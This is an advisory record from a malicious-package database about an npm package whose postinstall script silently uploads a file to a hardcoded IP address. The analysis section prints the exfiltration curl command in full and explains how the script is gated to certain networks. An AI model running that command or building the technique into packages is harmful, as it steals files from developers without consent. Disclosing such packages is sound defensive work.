MAL-2026-5534Malicious code in @thomlecter1122/lab-helper-test (npm)
| Ecosystem | Package | Version |
|---|---|---|
| npm | @thomlecter1122/lab-helper-test | * |
| npm | @thomlecter1122/lab-helper-test | 0.0.11 |
| npm | @thomlecter1122/lab-helper-test | 0.0.15 |
| npm | @thomlecter1122/lab-helper-test | 0.0.16 |
| npm | @thomlecter1122/lab-helper-test | 0.0.2 |
| npm | @thomlecter1122/lab-helper-test | 0.0.3 |
| npm | @thomlecter1122/lab-helper-test | 0.0.5 |
{"schema_version":"1.7.4","id":"MAL-2026-5534","published":"2026-06-10T23:35:46Z","modified":"2026-08-13T22:13:34.718776193Z","aliases":["GHSA-223m-fcr3-c5gg"],"summary":"Malicious code in @thomlecter1122/lab-helper-test (npm)","details":"\n---\n_-= Per source details. Do not edit below this line.=-_\n\n## Source: amazon-inspector (75adb75a0025882efbcde3ddd88882aaaedfd692425222eda99c148096f1f58a)\nThe package ships a `postinstall` lifecycle script (`sec_check.js`) that fires automatically on `npm install`. The script first checks whether the host has a non-internal IPv4 address beginning with `192.` (a network-environment gate that hides the behavior from developer laptops and CI on other subnets), and if so executes `curl -X POST http://18.175.63.47:8080/collect --data-binary \"@${INIT_CWD}/myfile.txt\"` via `child_process.execSync` with stdio suppressed. This reads a file from the installer's working directory and ships it over plain HTTP to a hardcoded bare-IP attacker host with no consent and no error surfacing. The combination of automatic lifecycle execution, environment-gated activation, hardcoded bare-IP C2, and silent error handling is a textbook exfiltration dropper.\n\n## Source: ghsa-malware (7d5621f003d1b1fcc0396da2f1f8bcc78608ffd1591818743c2234913e57f236)\nAny computer that has this package installed or running should be considered fully compromised. All secrets and keys stored on that computer should be rotated immediately from a different computer. The package should be removed, but as full control of the computer may have been given to an outside entity, there is no guarantee that removing the package will remove all malicious software resulting from installing it.\n","affected":[{"package":{"name":"@thomlecter1122/lab-helper-test","ecosystem":"npm"},"ranges":[{"type":"SEMVER","events":[{"introduced":"0"}]}],"versions":["0.0.16","0.0.11","0.0.15","0.0.2","0.0.5","0.0.3"],"database_specific":{"cwes":[{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"},{"cweId":"CWE-506","description":"The product contains code that appears to be malicious in nature.","name":"Embedded Malicious Code"}],"indicators":{"evidence_files":[{"path":"router_init.js","sha256":"3ed6e162a46f00edce3bcaf365b5a9ac82d4c9e9c5a4c8efaa9622e68b1cafe7","tlsh":"7201ef6ccf217988190054cb38eba92a846b03d4f4a468e54aed1ecb8675b5764fb8c8"}],"package_integrity":[{"filename":"lab-helper-test-0.0.16.tgz","hashes":{"sha1":"9e35d4d7f0a16fe5ce57e81d1bd9a02918b9af5b","sha512_sri":"sha512-Avp3BR3qRNDjs+0GAO/nizPNvTvuY1JzD9gxGJ7JBprvx6vPaD+0bUSajv6JDQNCLchRgnkZmvk7DjU+mxd2Yg=="}}]}}}],"references":[{"type":"PACKAGE","url":"https://www.npmjs.com/package/@thomlecter1122/lab-helper-test/v/0.0.16"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@thomlecter1122/lab-helper-test/v/0.0.11"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@thomlecter1122/lab-helper-test/v/0.0.15"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@thomlecter1122/lab-helper-test/v/0.0.2"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@thomlecter1122/lab-helper-test/v/0.0.5"},{"type":"PACKAGE","url":"https://www.npmjs.com/package/@thomlecter1122/lab-helper-test/v/0.0.3"},{"type":"ADVISORY","url":"https://github.com/advisories/GHSA-223m-fcr3-c5gg"}],"database_specific":{"malicious-packages-origins":[{"id":"IN-MAL-2026-005322","import_time":"2026-06-11T00:00:58.506202458Z","modified_time":"2026-06-10T23:35:46Z","sha256":"650b9b18b0bc5101d5d948edf6bb841af88e20509a061dbbfe3fa21a8658b819","source":"amazon-inspector","versions":["0.0.16"]},{"id":"IN-MAL-2026-005324","import_time":"2026-06-11T00:00:58.699196382Z","modified_time":"2026-06-10T23:36:46Z","sha256":"9448c8cb290ff20cf707537035a6c383a4506b452c3ddc0e4c56bc398e02dbc7","source":"amazon-inspector","versions":["0.0.11"]},{"id":"IN-MAL-2026-005325","import_time":"2026-06-11T00:00:58.797247524Z","modified_time":"2026-06-10T23:36:56Z","sha256":"c15cab8e8dc86301754623991e2ae38130feb1a7b5d26e7a204ac2fbd918a166","source":"amazon-inspector","versions":["0.0.15"]},{"id":"IN-MAL-2026-005323","import_time":"2026-06-11T00:00:58.593243686Z","modified_time":"2026-06-10T23:36:37Z","sha256":"cef9ef58b6705aee11294b49f3e944e60b4047973a98378abc2f37e3dacd627b","source":"amazon-inspector","versions":["0.0.2"]},{"id":"IN-MAL-2026-005326","import_time":"2026-06-11T00:00:58.956948473Z","modified_time":"2026-06-10T23:37:03Z","sha256":"e12350df6e9a9d5a75f3796a6ebe9c08156ada9cbfd29acd480bf78fa51e61b9","source":"amazon-inspector","versions":["0.0.5"]},{"id":"IN-MAL-2026-005827","import_time":"2026-06-12T19:43:37.50710346Z","modified_time":"2026-06-12T19:02:47Z","sha256":"75adb75a0025882efbcde3ddd88882aaaedfd692425222eda99c148096f1f58a","source":"amazon-inspector","versions":["0.0.3"]},{"id":"GHSA-223m-fcr3-c5gg","import_time":"2026-08-13T22:11:44.570214728Z","modified_time":"2026-08-13T16:58:06Z","ranges":[{"events":[{"introduced":"0"}],"type":"SEMVER"}],"sha256":"7d5621f003d1b1fcc0396da2f1f8bcc78608ffd1591818743c2234913e57f236","source":"ghsa-malware"}]},"credits":[{"name":"Amazon Inspector","contact":["inspector-research@amazon.com"],"type":"FINDER"}]}数据来源:OpenSSF Malicious Packages · Apache-2.0